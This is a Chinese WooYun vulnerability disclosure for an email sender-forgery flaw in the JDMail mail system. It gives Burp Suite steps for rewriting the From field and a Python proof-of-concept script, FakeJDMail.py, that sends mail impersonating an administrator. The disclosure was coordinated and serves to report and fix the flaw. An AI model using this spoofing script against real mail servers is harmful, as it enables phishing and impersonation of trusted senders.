当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075229

漏洞标题:金笛邮件系统邮件伪造漏洞,可实施邮件钓鱼(20140812更新版)

相关厂商:金笛邮件系统

漏洞作者: 路人甲

提交时间:2014-09-09 15:02

修复时间:2014-12-08 15:04

公开时间:2014-12-08 15:04

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商已经确认,细节仅向厂商公开
2014-09-17: 细节向第三方安全合作伙伴开放
2014-11-08: 细节向核心白帽子及相关领域专家公开
2014-11-18: 细节向普通白帽子公开
2014-11-28: 细节向实习白帽子公开
2014-12-08: 细节向公众公开

简要描述:

金笛邮件系统邮件伪造漏洞,可实施邮件钓鱼攻击..
版本:V3.14.5.8
更新日期:2014-08-12
源码下载链接:http://www.mailer.com.cn/download2.html

详细说明:

该邮件系统很多政府事业单位在使用!
用户案例: http://www.mailer.com.cn/Products6.html
金笛邮件系统在发送邮件时没有对邮件协议的From字段进行有效验证,发件人可以伪造任意用户进行发送邮件,达到邮件欺骗攻击的目的,可以用来进行邮件钓鱼等。

漏洞证明:

本地搭建邮件服务器进行测试,源码下载链接:http://www.mailer.com.cn/download2.html
ps:)利用代码FakeJDMail.py在后面
漏洞利用方法:
1)使用[email protected][email protected]发送一封邮件:

1.JPG


2)使用bursuite拦截HTTP数据包

2.JPG


其中From字段的值为:client1+%3Cclient1%40test.com%3E 即client1<[email protected]>
由于JDMail邮件服务器未对From字段进行验证,通过修改From字段的值就可以达到邮件欺骗攻击。
3)使用BurpSuite将From字段的值修改为管理员邮箱地址:admin+%3Cadmin%40test.com%3E

3.JPG


4)登录client2邮箱账户进行接收邮件,可以发现有一封来自管理员[email protected]的邮件

4.JPG

5.JPG


利用代码:
这里给出一段利用代码,修改代码中的frm变量即可伪造发件人进行邮件欺骗
FakeJDMail.py
-------------------------------
#!/user/bin/python
import smtplib
import datetime
MailTemplate= '''From: {From}\nTo: {To}\nSubject: {Subject}\nDate: {Date}\nContent-type:{ContentType}\n\n{Msg}\r\n\r\n'''
def SendJDMail(Server,Username,Password,Sender,Reciever,MailMsg):
try:
SmtpObj = smtplib.SMTP(Server)
SmtpObj.login(Username, Password)
print 'Sending Email'
SmtpObj.sendmail(Sender, Reciever,MailMsg)
except Exception:
print "Error: unable to sendemail"
return False
print "Successfully sent email"
SmtpObj.quit()
if __name__ == '__main__':
server = '192.168.43.132'
domain = '@test.com'
username = 'client1'
password = '123456'
sender = username
reciever = 'client2'
subject = 'fake sender'
date =datetime.datetime.now().strftime("%a, %d %b %Y %H:%M:%S +0800")
msg = 'begin to attack!'
frm= 'admin' + '<' + 'admin'+domain+'>' #fake sender
to = reciever + '<' +reciever+domain+'>'
mailmsg =MailTemplate.format(From=frm,To=to,Subject=subject,Date=date,ContentType='text/html',Msg=msg)
SendJDMail(server, username+domain,password,sender+domain,reciever+domain,mailmsg)
---------------------------------------

修复方案:

加强对邮件协议from字段的验证

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-14 09:52

厂商回复:

最新状态:

暂无